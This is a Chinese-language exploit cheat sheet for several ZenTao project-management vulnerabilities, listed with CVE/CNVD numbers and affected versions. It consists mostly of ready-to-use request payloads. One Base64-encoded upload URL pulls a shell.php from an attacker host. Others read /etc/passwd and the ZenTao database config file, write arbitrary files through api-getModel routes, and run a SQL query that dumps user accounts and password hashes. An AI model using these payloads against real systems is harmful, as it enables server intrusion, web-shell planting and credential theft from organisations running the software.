阅读前注意事项
- 代码块中未展示具体数据包细节的路由配置均为GET请求
- 使用Payload时须确保请求包包含有效的Referer请求头
漏洞汇总
漏洞编号 | 漏洞名称 | 利用版本 | 是否需要认证 |
---|---|---|---|
CNVD-2020-121325 | 任意文件上传 | 开源版:10.x < 禅道开源版 < 12.4.3 | YES |
v11.6漏洞合集 | 开源版:11.6 | YES | |
CVE-2022-37700 | 禅道版本号泄露 | NO | |
CVE-2022-47745 | SQL注入 | 开源版:16.4<=version<=18.0.beat1 | YES |
CVE-2023-44827 | 开源版:version<=18.6商业版:version<=8.6旗舰版:version<=4.7 | YES | |
CVE-2024-24202 | 后台RCE | 开源版:version<=18.10商业版:version<=8.10旗舰版:version<=4.10 | YES |
CVE-2023-46376 | LDAP密码泄露 | 商业版: <=8.7 | YES |
信息收集
版本号探测
查看当前禅道版本号:
1 | /zentao/index.php?mode=getconfig |
绝对路径探测
禅道敏感文件
1 |
CNVD-2020-121325
影响范围:10.x < 禅道开源版 < 12.4.3
测试版本:禅道开源版 v12.3
探测
无害化测试漏洞是否存在:
- 向服务器写入一个test.txt
1
/zentao/client-download-1-RlRQOi8vdGVzdC50eHQ=.html
- 判断是否写入成功若服务器返回200响应,且响应体为空,响应头类型为text/plain,即为写入成功。
1
/zentao/data/client/1/test.txt
利用
任意文件上传:
- 将攻击者恶意文件地址Base64编码替换即可
1
/zentao/client-download-1-SFRUUFM6Ly9BdHRhY2tlci5jb20vc2hlbGwucGhw.html
任意文件读取:
- 读取/etc/passwd
1
/zentao/client-download-1-ZmlsZTovLy9ldGMvcGFzc3dk.html
- 读取禅道配置文件(/opt/zbox/app/zentao/config/my.php)
1
/zentao/client-download-1-ZmlsZTovLy9vcHQvemJveC9hcHAvemVudGFvL2NvbmZpZy9teS5waHA=.html
- 读取系统版本(/etc/issue)
1
/zentao/client-download-1-ZmlsZTovLy9ldGMvaXNzdWU=.html
开源版11.6漏洞合集
影响范围: 禅道开源版 == 11.6
测试版本:禅道开源版 v11.6
任意文件读取
文件读取Payload1:
1 | /zentao/api-getModel-file-parseCSV-fileName=/etc/passwd |
文件读取Payload2
1 | /zentao/api-getModel-api-getMethod-filePath=/etc/passwd/1 |
任意文件写入
方法一:任意文件写入
1 | POST /zentao/api-getModel-editor-save-filePath=/tmp/test.php |
注意事项:此处不管是什么后缀都会直接变成无后缀文件(/tmp/test),可以考虑配合二进制文件利用。
1 | POST /zentao/api-getModel-editor-save-filePath=/tmp/test.php |
数据包二:
1 | /zentao/api-getModel-api-getMethod-filePath=/tmp/test/1 |
SQL注入
查询当前网站的账号密码
1 | /zentao/api-getModel-api-sql-sql=select+account,password+from+zt_user |
信息泄露
仅泄露account、realname、email,价值不大
1 | /zentao/api-getModel-user-getRealNameAndEmails-users=admin |